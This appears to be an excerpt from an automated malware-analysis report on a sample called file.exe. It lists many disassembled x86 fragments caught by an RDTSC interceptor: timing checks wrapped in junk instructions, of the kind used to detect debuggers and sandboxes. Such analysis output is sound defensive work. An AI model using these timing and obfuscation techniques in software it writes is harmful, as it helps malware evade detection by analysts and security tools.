Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3134E second address: F3135E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007FD724C6C5D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3147F second address: F31491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3161F second address: F3163D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FD724C6C5E9h 0x0000000b jmp 00007FD724C6C5E3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09A5D second address: F09A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD7251DA7DAh 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007FD7251DA7D6h 0x00000013 popad 0x00000014 jnl 00007FD7251DA7D8h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31DC4 second address: F31DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C9A second address: F38CAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38CAA second address: F38CCE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FD724C6C5DAh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jg 00007FD724C6C5D6h 0x0000001c push esi 0x0000001d pop esi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D941 second address: F3D948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC55 second address: F3DC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC5B second address: F3DC5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DDD5 second address: F3DDD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F747 second address: F3F74C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44635 second address: F4463A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4463A second address: F4463F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4472D second address: F4474D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD724C6C5E8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F452C6 second address: F452D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD7251DA7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47E6D second address: F47E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47E71 second address: F47EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+1245DECFh], edi 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D3BD6h], ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FD7251DA7D8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 add dword ptr [ebp+1245E253h], ebx 0x0000003a xchg eax, ebx 0x0000003b push ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A8F6 second address: F4A90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD724C6C5E2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A90D second address: F4A993 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007FD7251DA7D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e jmp 00007FD7251DA7E7h 0x00000013 pop esi 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FD7251DA7D8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov edi, 1F298961h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007FD7251DA7D8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov dword ptr [ebp+1247F3B0h], edi 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c jmp 00007FD7251DA7DAh 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A993 second address: F4A998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C544 second address: F4C554 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD7251DA7D6h 0x00000008 jc 00007FD7251DA7D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD734 second address: EFD738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD738 second address: EFD73E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCA9 second address: F4DCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCAD second address: F4DCBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCBC second address: F4DCC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCC2 second address: F4DCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCC6 second address: F4DCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCCA second address: F4DD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b jp 00007FD7251DA7D6h 0x00000011 jmp 00007FD7251DA7E7h 0x00000016 popad 0x00000017 pop ebx 0x00000018 nop 0x00000019 mov di, ax 0x0000001c push 00000000h 0x0000001e and edi, dword ptr [ebp+122D35C0h] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FD7251DA7D8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 xchg eax, esi 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 je 00007FD7251DA7D6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DD2C second address: F4DD30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DD30 second address: F4DD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DD3C second address: F4DD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD724C6C5E0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DD55 second address: F4DD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EDA4 second address: F4EDA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCB3 second address: F4FCBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD7251DA7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F531FE second address: F5320F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FD724C6C5D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5320F second address: F53220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F541BE second address: F541D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53399 second address: F533A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F533A5 second address: F533AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56270 second address: F5627A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7251DA7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57461 second address: F574A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FD724C6C5D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FD724C6C5E8h 0x00000016 push 00000000h 0x00000018 jnp 00007FD724C6C5D6h 0x0000001e push 00000000h 0x00000020 mov ebx, edx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD724C6C5DBh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56497 second address: F564A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD7251DA7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F574A6 second address: F574AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F574AC second address: F574C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59492 second address: F59496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A4B6 second address: F5A4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FD7251DA7D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A4C3 second address: F5A52A instructions: 0x00000000 rdtsc 0x00000002 je 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FD724C6C5D8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 adc di, 6396h 0x0000002d push 00000000h 0x0000002f call 00007FD724C6C5E8h 0x00000034 add edi, dword ptr [ebp+122D1D78h] 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d or dword ptr [ebp+12456B0Ah], edi 0x00000043 xchg eax, esi 0x00000044 push edi 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F575ED second address: F57662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007FD7251DA7D8h 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FD7251DA7D8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov bl, ch 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov dword ptr [ebp+122D219Fh], edi 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d jg 00007FD7251DA7D9h 0x00000043 mov eax, dword ptr [ebp+122D1499h] 0x00000049 and bh, 00000071h 0x0000004c mov dword ptr [ebp+12455AFBh], esi 0x00000052 push FFFFFFFFh 0x00000054 sub dword ptr [ebp+122D3529h], eax 0x0000005a push eax 0x0000005b pushad 0x0000005c jmp 00007FD7251DA7DCh 0x00000061 push eax 0x00000062 push edx 0x00000063 push edi 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A52A second address: F5A52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A52E second address: F5A548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A548 second address: F5A54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A54C second address: F5A552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B5C3 second address: F5B5D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A6B6 second address: F5A6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B5D4 second address: F5B5E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jnc 00007FD724C6C5DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A6BA second address: F5A6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B5E6 second address: F5B645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007FD724C6C5D8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 0000001Ah 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 push 00000000h 0x00000022 jno 00007FD724C6C5EBh 0x00000028 push 00000000h 0x0000002a or dword ptr [ebp+122D1FC4h], esi 0x00000030 jng 00007FD724C6C5DCh 0x00000036 mov dword ptr [ebp+122D21A4h], edi 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B645 second address: F5B649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B649 second address: F5B657 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B657 second address: F5B65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B78E second address: F5B799 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B8B7 second address: F5B8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D763 second address: F5D7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push edx 0x0000000b movsx ebx, si 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+12456529h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FD724C6C5D8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 movsx ebx, bx 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a jbe 00007FD724C6C5D6h 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D7A7 second address: F5D7AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5E880 second address: F5E895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66708 second address: F6670E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D20 second address: F65D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D2B second address: F65D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FD7251DA7DCh 0x00000012 jc 00007FD7251DA7D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D4D second address: F65D65 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD724C6C5E3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65EC9 second address: F65EE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7251DA7DEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65EE3 second address: F65EEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65EEF second address: F65F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD7251DA7D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7251DA7DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6607E second address: F66082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66082 second address: F6608B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6608B second address: F66091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BD89 second address: F6BDAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7251DA7E9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BDAA second address: D8EE14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 19141651h 0x0000000e jmp 00007FD724C6C5DBh 0x00000013 push dword ptr [ebp+122D0689h] 0x00000019 jmp 00007FD724C6C5E0h 0x0000001e call dword ptr [ebp+122D21C8h] 0x00000024 pushad 0x00000025 jmp 00007FD724C6C5DAh 0x0000002a sub dword ptr [ebp+122D386Eh], edx 0x00000030 xor eax, eax 0x00000032 mov dword ptr [ebp+122D39A0h], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c ja 00007FD724C6C5D7h 0x00000042 clc 0x00000043 mov dword ptr [ebp+122D2EBAh], eax 0x00000049 clc 0x0000004a mov esi, 0000003Ch 0x0000004f sub dword ptr [ebp+122D386Eh], eax 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 jo 00007FD724C6C5DCh 0x0000005f add dword ptr [ebp+122D39A0h], esi 0x00000065 pushad 0x00000066 add dword ptr [ebp+122D386Eh], ecx 0x0000006c movzx eax, cx 0x0000006f popad 0x00000070 lodsw 0x00000072 jmp 00007FD724C6C5DAh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b stc 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 pushad 0x00000081 jmp 00007FD724C6C5E6h 0x00000086 or esi, dword ptr [ebp+122D2E46h] 0x0000008c popad 0x0000008d nop 0x0000008e push edx 0x0000008f push eax 0x00000090 push edx 0x00000091 jmp 00007FD724C6C5E9h 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D2E2 second address: F6D2E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73F81 second address: F73F90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FD724C6C5D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
